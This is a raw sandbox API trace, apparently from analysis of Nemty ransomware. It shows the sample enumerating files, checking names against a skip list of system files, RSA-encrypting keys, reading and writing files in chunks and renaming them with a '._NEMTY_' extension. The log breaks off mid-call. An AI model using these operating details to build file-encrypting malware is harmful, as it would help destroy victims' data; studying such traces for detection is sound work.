pszString="iN94WU+lw2W0NWZiVE+cDMemTaChcSdJGSji9g7b1EJ87FVNoMTJcMAp+jXIgVYA\r\n0Y3XZE+lZy5yMaZoe3UxrvFGtzcGP4UkLhrFSlLAqOky2zBfwPHl93eUn6Tz4TQx\r\nF6qltDGJLtIygST2IdZGP49c5cDHtb2/RM7GdDtELK004rvSeBz11vLbscKG/zUl\r\nMXG0VYlChWTnulMQAYb5BmpFSyrLRqEz1nTjRxUB7lGtJ2W6C1575A3qWcImm/ZK\r\nNV0Lp507U6G3LHGtDsdo7rU2aHLhLqMviEyUvLNT7kMGkSzFQBFRJXqGqyhWZ7Ba\r\nFNqp3IOA580U0QGTnLfvDg==\r\n", pcchString=0x653e91c) returned 1 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0084.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.177] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.177] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.286] CloseHandle (hObject=0xffffffff) returned 0 [0084.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0084.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0084.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0084.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0084.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0084.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0084.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0084.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0084.286] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.287] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0084.287] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0084.288] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94378 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0084.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0084.288] Sleep (dwMilliseconds=0x5) [0084.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5e4cb30, dwHighDateTime=0x1d561e7)) [0084.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5e4cb30, dwHighDateTime=0x1d561e7)) [0084.300] GetLastError () returned 0x5 [0084.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.300] GetLastError () returned 0x5 [0084.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.301] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0084.301] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0084.301] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0084.301] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="XXC2QeDIS1dURADxrvkhLCUh7zzjmunvzGm3dX9cP9JD4Lzqu8za8HSSRU2Pngob\r\nt/HT0iY8dkEnIj4wTSubrqz1a7aRaCedOgrTMlgShT9S+40E8xo/zMj+KNRLWYGy\r\n4T3tz00FP9JYngg22CPHsOWDFiU3vVXokmK+me1y/JPF6p8V/6QtKHxcvMAydEpD\r\nYJHKI9SWd5DpvbmKfyFh/6EIGsMl3rt/kqPswEWMnWuEzo18h5b9Dx3wbO0329Z5\r\nr/QPhL5fcuCTEeC9NqhvOpAgJ9rwmSX8kCXtoub8YX2AffsDU6xDchZyz7vXNU99\r\n4/C0+YvMkh5kctzDcA76Bw==\r\n", pcchString=0x653e91c) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0084.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.301] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.301] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0084.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.301] SetFilePointer (in: hFile=0xffffffff, 